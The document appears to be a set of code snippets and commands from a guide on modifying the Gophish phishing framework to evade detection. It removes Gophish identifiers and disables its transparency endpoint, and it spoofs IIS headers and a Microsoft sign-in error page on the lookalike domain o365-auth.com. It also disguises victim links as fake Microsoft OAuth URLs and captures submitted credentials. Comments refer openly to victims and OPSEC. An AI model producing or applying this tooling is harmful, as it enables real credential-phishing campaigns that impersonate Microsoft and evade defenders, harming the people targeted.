1sudo git clone https://github.com/gophish/gophish.git
2sudo apt install -y golang gcc make

1// Version contains the current gophish version
2var Version = ""
3
4// ServerName is the server type that is returned in the transparency response.
5const ServerName = "IGNORE"

1find . -type f -exec sed -i.bak 's/X-Gophish-Contact/X-Contact/g' {} +
2find . -type f -exec sed -i.bak 's/X-Gophish-Signature/X-Signature/g' {} +

1rg X-Gophish

1w.Header().Set("X-Server", config.ServerName)

1// If a Template is not specified use a default
2if s.Template.Name == "" {
3	//default message body
4	text := "It works!\n\nThis is an email letting you know that your gophish\nconfiguration was successful.\n" +
5		"Here are the details:\n\nWho you sent from: {{.From}}\n\nWho you sent to: \n" +
6		"{{if .FirstName}} First Name: {{.FirstName}}\n{{end}}" +
7		"{{if .LastName}} Last Name: {{.LastName}}\n{{end}}" +
8		"{{if .Position}} Position: {{.Position}}\n{{end}}" +
9		"\nNow go send some phish!"
10	t := models.Template{
11		Subject: "Default Email from Gophish",
12		Text:    text,
13	}
14	s.Template = t
15}

1text := "Hi {{.FirstName}},\n\n" +  
2	"Just a quick note to confirm everything is working as expected from our side. " +  
3	"If you notice anything unusual or need support, feel free to reach out.\n\n" +  
4	"Thanks,\n" +  
5	"IT Team"
6t := models.Template{
7	Subject: "Quick Update",
8	Text:     text,
9}

1// RecipientParameter is the URL parameter that points to the result ID for a recipient.
2const RecipientParameter = "rid"

1wget https://raw.githubusercontent.com/edermi/gophish_mods/master/controllers/phish.go
2mv gophish.go gophish/controllers

1# From host machine
2scp .\404.html fish@167.114.145.4:/home/fish/gophish/templates
3
4# On test system/VPS
5ls -l

1func customError(w http.ResponseWriter, error string, code int) {
2    w.Header().Set("Content-Type", "text/html; charset=utf-8")
3    w.Header().Set("X-Content-Type-Options", "nosniff")
4    w.Header().Set("X-Frame-Options", "SAMEORIGIN")
5    w.Header().Set("Content-Security-Policy", "default-src 'none'; style-src 'unsafe-inline'; img-src 'self' data:; font-src 'self' data:; script-src 'unsafe-inline' data:;")
6    w.Header().Set("Server", "Microsoft-IIS/10.0")
7    w.WriteHeader(code)
8    fmt.Fprintln(w, error)
9}

1// TransparencyHandler returns a TransparencyResponse for the provided result and campaign.
2
3func (ps *PhishingServer) TransparencyHandler(w http.ResponseWriter, r *http.Request) {
4	rs := ctx.Get(r, "result").(models.Result)
5	tr := &TransparencyResponse{
6		Server:         config.ServerName,
7		SendDate:       rs.SendDate,
8		ContactAddress: ps.contactAddress,
9	}
10	api.JSONResponse(w, tr, http.StatusOK)
11}

1func (ps *PhishingServer) TransparencyHandler(w http.ResponseWriter, r *http.Request) {  
2	customNotFound(w, r)  
3}

1// Check for a transparency request
2if strings.HasSuffix(rid, TransparencySuffix) {
3	ps.TransparencyHandler(w, r)
4	return
5}

1if strings.HasSuffix(rid, TransparencySuffix) {
2	customNotFound(w, r)
3	return
4}

1// Check for a transparency request
2if strings.HasSuffix(rid, TransparencySuffix) {
3	ps.TransparencyHandler(w, r)
4	return
5}

1if strings.HasSuffix(rid, TransparencySuffix) {
2	customNotFound(w, r)
3	return
4}

1// Check for a transparency request
2if strings.HasSuffix(rid, TransparencySuffix) {
3	ps.TransparencyHandler(w, r)
4	return
5}

1if strings.HasSuffix(rid, TransparencySuffix) {
2	customNotFound(w, r)
3	return
4}

1func renderPhishResponse(w http.ResponseWriter, r *http.Request, ptx models.PhishingTemplateContext, p models.Page) {
2	// If the request was a form submit and a redirect URL was specified,
3	// send the user to that URL.
4	if r.Method == "POST" {
5		if p.RedirectURL != "" {
6			redirectURL, err := models.ExecuteTemplate(p.RedirectURL, ptx)
7			if err != nil {
8				log.Error(err)
9				customNotFound(w, r)
10				return
11			}
12			http.Redirect(w, r, redirectURL, http.StatusFound)
13			return
14		}
15	}
16	// Otherwise render the landing page HTML.
17	html, err := models.ExecuteTemplate(p.HTML, ptx)
18	if err != nil {
19		log.Error(err)
20		customNotFound(w, r)
21		return
22	}
23	w.Write([]byte(html))
24}

1username, password, ok := r.BasicAuth()
2if !ok {
3	err = rs.HandleClickedLink(d)
4	if err != nil {
5		log.Error(err)
6	}
7} else {
8	payload := map[string][]string{"Username": []string{username}, "Password": []string{password}}
9	d.Payload = payload
10	err = rs.HandleFormSubmit(d)
11	if err != nil {
12		log.Error(err)
13	}
14}

1if r.Method == "POST" {
2	// Form credentials are already in d.Payload via r.Form from setupContext.
3	err = rs.HandleFormSubmit(d)
4	if err != nil {
5		log.Error(err)
6	}
7} else {
8	err = rs.HandleClickedLink(d)
9	if err != nil {
10		log.Error(err)
11	}
12}

1// generateMessageID generates and returns a string suitable for an RFC 2822
2// compliant Message-ID, e.g.:
3// <1444789264909237300.3464.1819418242800517193@DESKTOP01>
4//
5// The following parameters are used to generate a Message-ID:
6// - The nanoseconds since Epoch
7// - The calling PID
8// - A cryptographically random int64
9// - The sending hostname
10func (m *MailLog) generateMessageID() (string, error) {
11	t := time.Now().UnixNano()
12	pid := os.Getpid()
13	rint, err := rand.Int(rand.Reader, maxBigInt)
14	if err != nil {
15		return "", err
16	}
17	h, err := os.Hostname()
18	// If we can't get the hostname, we'll use localhost
19	if err != nil {
20		h = "localhost.localdomain"
21	}
22	msgid := fmt.Sprintf("<%d.%d.%d@%s>", t, pid, rint, h)
23	return msgid, nil
24}

1func (m *MailLog) generateMessageID() (string, error) {  
2t := time.Now().UnixNano()  
3pid := os.Getpid()  
4rint, err := rand.Int(rand.Reader, maxBigInt)  
5if err != nil {  
6return "", err  
7}  
8  
9// Controlled domain (better OPSEC)  
10h := "o365-auth.com"  
11  
12msgid := fmt.Sprintf("<%d.%d.%d@%s>", t, pid, rint, h)  
13return msgid, nil  
14}

1func customNotFound(w http.ResponseWriter, r *http.Request) {
2	tmpl404, err := template.ParseFiles("templates/404.html")
3	if err != nil {
4		log.Fatal(err)
5	}
6	var b bytes.Buffer
7	err = tmpl404.Execute(&b, "")
8	if err != nil {
9		http.NotFound(w, r)
10		return
11	}
12	customError(w, b.String(), http.StatusNotFound)
13}

1func customNotFound(w http.ResponseWriter, r *http.Request) {
2	tmpl404, err := template.ParseFiles("templates/404.html")
3	if err != nil {
4		log.Fatal(err)
5	}
6
7	var b bytes.Buffer
8
9	// Injects dynamic timestamp via template variable
10	data := map[string]string{
11		"Now": time.Now().UTC().Format(time.RFC3339),
12	}
13
14	err = tmpl404.Execute(&b, data)
15	if err != nil {
16		http.NotFound(w, r)
17		return
18	}
19
20	customError(w, b.String(), http.StatusNotFound)
21}

1 <div>
2 <span class=bold>Timestamp: </span>
3 <span data-bind="text: debugDetails.timestamp">{{.Now}}</span>
4 </div>

1<textarea id=debugDetailsText class=moveOffScreen tabindex=-1 aria-hidden=true>Request Id: 75d13a7f-4b01-4836-a380-e0b453665300
2Correlation Id: ee105d69-3daf-43ae-aefa-8fab56f70d57
3Timestamp: {{.Now}}
4Message: AADSTS900561: The endpoint only accepts POST, OPTIONS requests. Received a GET request.</textarea>

1data := map[string]string{
2	"Now": time.Now().UTC().Format(time.RFC3339),
3	"RequestID": generateGUID(),
4	"CorrelationID": generateGUID(),
5}

1func generateGUID() string {
2	b := make([]byte, 16)
3	rand.Read(b)
4
5	// Set version (4) and variant bits
6	b[6] = (b[6] & 0x0f) | 0x40
7	b[8] = (b[8] & 0x3f) | 0x80
8
9	return fmt.Sprintf("%08x-%04x-%04x-%04x-%012x",
10		b[0:4],
11		b[4:6],
12		b[6:8],
13		b[8:10],
14		b[10:16],
15	)
16}

1 <div>
2 <span class=bold>Request Id: </span>
3 <span data-bind="text: svr.sessionId">{{.RequestID}}</span>
4 </div>
5 
6 <div>
7 <span class=bold>Correlation Id: </span>
8 <span data-bind="text: svr.correlationId">{{.CorrelationID}}</span>
9 </div>
10 
11 <div>
12 <span class=bold>Timestamp: </span>
13 <span data-bind="text: debugDetails.timestamp">{{.Now}}</span>
14 </div>

1https://o365-auth.com/?client_id=abc1234567

1https://o365-auth.com/?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&response_type=code&scope=openid+profile+email&state=UXi4lZ0fbIFd469xElKD07ph_Ovh7iGhaqoqbiNTMe&nonce=a3f8c2d1

1package models
2
3import (
4	"crypto/rand"
5	"encoding/base64"
6	"fmt"
7	"sync"
8)
9
10var (
11	stateStoreMu    sync.RWMutex
12	oauthStateStore = make(map[string]string) // state token -> RID
13)
14
15// StoreState saves an opaque state token pointing to the given RID.
16// Called once per recipient when building the phishing URL.
17func StoreState(state, rid string) {
18	stateStoreMu.Lock()
19	defer stateStoreMu.Unlock()
20	oauthStateStore[state] = rid
21}
22
23// ResolveState looks up the RID for the given state token.
24// Called in setupContext() when no raw "rid" param is present.
25func ResolveState(state string) (string, bool) {
26	stateStoreMu.RLock()
27	defer stateStoreMu.RUnlock()
28	rid, ok := oauthStateStore[state]
29	return rid, ok
30}
31
32// generateStateToken returns a cryptographically random, base64url-encoded
33// string suitable for use as an OAuth state parameter.
34func generateStateToken() (string, error) {
35	b := make([]byte, 48)
36	_, err := rand.Read(b)
37	if err != nil {
38		return "", err
39	}
40	return base64.RawURLEncoding.EncodeToString(b), nil
41}
42
43// generateFakeClientID returns a random UUID (v4) that looks like a real
44// Azure application client_id.
45func generateFakeClientID() string {
46	b := make([]byte, 16)
47	rand.Read(b)
48	b[6] = (b[6] & 0x0f) | 0x40
49	b[8] = (b[8] & 0x3f) | 0x80
50	return fmt.Sprintf("%08x-%04x-%04x-%04x-%012x",
51		b[0:4], b[4:6], b[6:8], b[8:10], b[10:16])
52}
53
54// generateNonce returns a short hex string for use as an OAuth nonce.
55func generateNonce() string {
56	b := make([]byte, 4)
57	rand.Read(b)
58	return fmt.Sprintf("%x", b)
59}

1func NewPhishingTemplateContext(ctx TemplateContext, r BaseRecipient, rid string) (PhishingTemplateContext, error) {
2	f, err := mail.ParseAddress(ctx.getFromAddress())
3	if err != nil {
4		return PhishingTemplateContext{}, err
5	}
6	fn := f.Name
7	if fn == "" {
8		fn = f.Address
9	}
10	templateURL, err := ExecuteTemplate(ctx.getBaseURL(), r)
11	if err != nil {
12		return PhishingTemplateContext{}, err
13	}
14
15	// For the base URL, strip the path and query
16	baseURL, err := url.Parse(templateURL)
17	if err != nil {
18		return PhishingTemplateContext{}, err
19	}
20	baseURL.Path = ""
21	baseURL.RawQuery = ""
22
23	// --- OAuth URL masking ---
24	// Generate a fake client_id UUID, an opaque state token, and a nonce.
25	// All three are stored together so they can be validated on the way in.
26	clientID := generateFakeClientID()
27	state, err := generateStateToken()
28	if err != nil {
29		return PhishingTemplateContext{}, err
30	}
31	// Capture nonce into a variable — it must be stored alongside the state
32	// token so setupContext can validate it. Calling generateNonce() inline
33	// inside q.Set() would lose the value before it could be stored.
34	nonce := generateNonce()
35	StoreState(state, rid, clientID, nonce)
36
37	// Build the phishing URL with realistic Microsoft OAuth parameters.
38	// The victim sees this URL when they hover over or click the link.
39	phishURL, _ := url.Parse(templateURL)
40	q := phishURL.Query()
41	q.Set("client_id", clientID)
42	q.Set("response_type", "code")
43	q.Set("scope", "openid profile email")
44	q.Set("state", state)
45	q.Set("nonce", nonce)
46	phishURL.RawQuery = q.Encode()
47
48	// The tracking pixel URL uses the raw RID directly.
49	// Victims never see this — it's an invisible 1x1 img embed in the email.
50	// No need to mask it.
51	trackingURL, _ := url.Parse(templateURL)
52	trackingURL.Path = path.Join(trackingURL.Path, "/track")
53	tq := trackingURL.Query()
54	tq.Set(RecipientParameter, rid)
55	trackingURL.RawQuery = tq.Encode()
56
57	return PhishingTemplateContext{
58		BaseRecipient: r,
59		BaseURL:       baseURL.String(),
60		URL:           phishURL.String(),
61		TrackingURL:   trackingURL.String(),
62		Tracker:       "<img alt='' style='display: none' src='" + trackingURL.String() + "'/>",
63		From:          fn,
64		RId:           rid,
65	}, nil
66}

1// lines 423-426 — replace these
2rid := r.Form.Get(models.RecipientParameter)
3if rid == "" {
4	return r, ErrInvalidRequest
5}

1// First, try a direct RID lookup (used by admin panel previews
2// and any legacy direct links).
3rid := r.Form.Get(models.RecipientParameter)
4
5// If no direct RID, resolve via the OAuth state token.
6// This is the normal path for campaign links sent to victims.
7if rid == "" {
8	state := r.Form.Get("state")
9	if state != "" {
10		resolvedRID, storedClientID, storedNonce, ok := models.ResolveState(state)
11		// Reject if the state token doesn't exist, or if any other OAuth
12		// param doesn't exactly match what was generated at send time.
13		// Any manipulation — changing client_id, nonce, response_type,
14		// or scope — returns a 404.
15		if !ok ||
16			r.Form.Get("client_id") != storedClientID ||
17			r.Form.Get("nonce") != storedNonce ||
18			r.Form.Get("response_type") != "code" ||
19			r.Form.Get("scope") != "openid profile email" {
20			return r, ErrInvalidRequest
21		}
22		rid = resolvedRID
23	}
24}
25
26if rid == "" {
27	return r, ErrInvalidRequest
28}

1// Strip our own OAuth URL params from the captured payload before storing it.
2// Victims don't type these — leaving them in buries the actual submitted
3// form fields (email, password, etc.) under tracking noise in the dashboard.
4for _, key := range []string{"client_id", "response_type", "scope", "state", "nonce"} {
5    r.Form.Del(key)
6}
7d := models.EventDetails{
8    Payload: r.Form,
9    Browser: make(map[string]string),
10}

1-- +goose Up
2-- SQL in section 'Up' is executed when this migration is applied
3CREATE TABLE IF NOT EXISTS "oauth_state_tokens" (
4    "id" integer primary key autoincrement,
5    "state" varchar(255) not null unique,
6    "rid" varchar(255) not null,
7    "created_at" datetime not null
8);
9
10-- +goose Down
11-- SQL section 'Down' is executed when this migration is rolled back
12DROP TABLE "oauth_state_tokens";

1-- +goose Up
2ALTER TABLE oauth_state_tokens ADD COLUMN client_id varchar(255) not null default '';
3ALTER TABLE oauth_state_tokens ADD COLUMN nonce varchar(255) not null default '';
4
5-- +goose Down
6-- SQLite does not support DROP COLUMN.

1package models
2
3import (
4	"crypto/rand"
5	"encoding/base64"
6	"fmt"
7	"time"
8
9	log "github.com/gophish/gophish/logger"
10)
11
12// StoreState saves the full set of OAuth params generated for this link.
13// All of them must match exactly when the victim clicks.
14func StoreState(state, rid, clientID, nonce string) {
15	err := db.Exec(
16		`INSERT OR IGNORE INTO oauth_state_tokens (state, rid, client_id, nonce, created_at) VALUES (?, ?, ?, ?, ?)`,
17		state, rid, clientID, nonce, time.Now().UTC(),
18	).Error
19	if err != nil {
20		log.Errorf("state store: failed to save state token: %v", err)
21	}
22}
23
24// ResolveState looks up the RID, client_id, and nonce for the given state token.
25// All three are returned so setupContext can validate the full OAuth param set.
26func ResolveState(state string) (rid, clientID, nonce string, ok bool) {
27	row := db.Raw(
28		`SELECT rid, client_id, nonce FROM oauth_state_tokens WHERE state = ?`, state,
29	).Row()
30	if err := row.Scan(&rid, &clientID, &nonce); err != nil || rid == "" {
31		return "", "", "", false
32	}
33	return rid, clientID, nonce, true
34}
35
36func generateStateToken() (string, error) {
37	b := make([]byte, 48)
38	_, err := rand.Read(b)
39	if err != nil {
40		return "", err
41	}
42	return base64.RawURLEncoding.EncodeToString(b), nil
43}
44
45func generateFakeClientID() string {
46	b := make([]byte, 16)
47	rand.Read(b)
48	b[6] = (b[6] & 0x0f) | 0x40
49	b[8] = (b[8] & 0x3f) | 0x80
50	return fmt.Sprintf("%08x-%04x-%04x-%04x-%012x",
51		b[0:4], b[4:6], b[6:8], b[8:10], b[10:16])
52}
53
54func generateNonce() string {
55	b := make([]byte, 4)
56	rand.Read(b)
57	return fmt.Sprintf("%x", b)
58}

1// Before
2StoreState(state, rid)
3...
4q.Set("nonce", generateNonce())
5
6// After
7nonce := generateNonce()
8StoreState(state, rid, clientID, nonce)
9...
10q.Set("nonce", nonce)

1sqlite3 gophish.db ".tables"

1sqlite3 gophish.db "SELECT state, rid, created_at FROM oauth_state_tokens LIMIT 5;"

1// Run from the gophish root folder
2go build

1sudo bash -c 'export CGO_CFLAGS="-g -O2 -Wno-return-local-addr"; go build'

1sqlite3 gophish.db ".schema oauth_state_tokens"

1CREATE TABLE "oauth_state_tokens" (
2    "id" integer primary key autoincrement,
3    "state" varchar(255) not null unique,
4    "rid" varchar(255) not null,
5    "created_at" datetime not null,
6    "client_id" varchar(255) not null default '',
7    "nonce" varchar(255) not null default ''
8);

1curl -sk -I http://127.0.0.1/doesnotexist

1# Without OAuth masking: ?rid=<rid> format
2curl -sk "https://o365-auth.com/?rid=enTSMRd+"
3
4# With OAuth masking: state= format
5curl -sk "https://o365-auth.com/?client_id=...&state=abc...+"

1Message-ID: <1744636800000000000.12345.9876543210@o365-auth.com>

1https://o365-auth.com/?client_id=enTSMRd

1https://o365-auth.com/?client_id=3f8a1b2c-4d5e-6f7a-8b9c-0d1e2f3a4b5c&response_type=code&scope=openid+profile+email&state=wGkV8zQ2mR...&nonce=a1b2c3d4

1sqlite3 gophish.db "SELECT state, rid, client_id, nonce, created_at FROM oauth_state_tokens ORDER BY created_at DESC LIMIT 3;"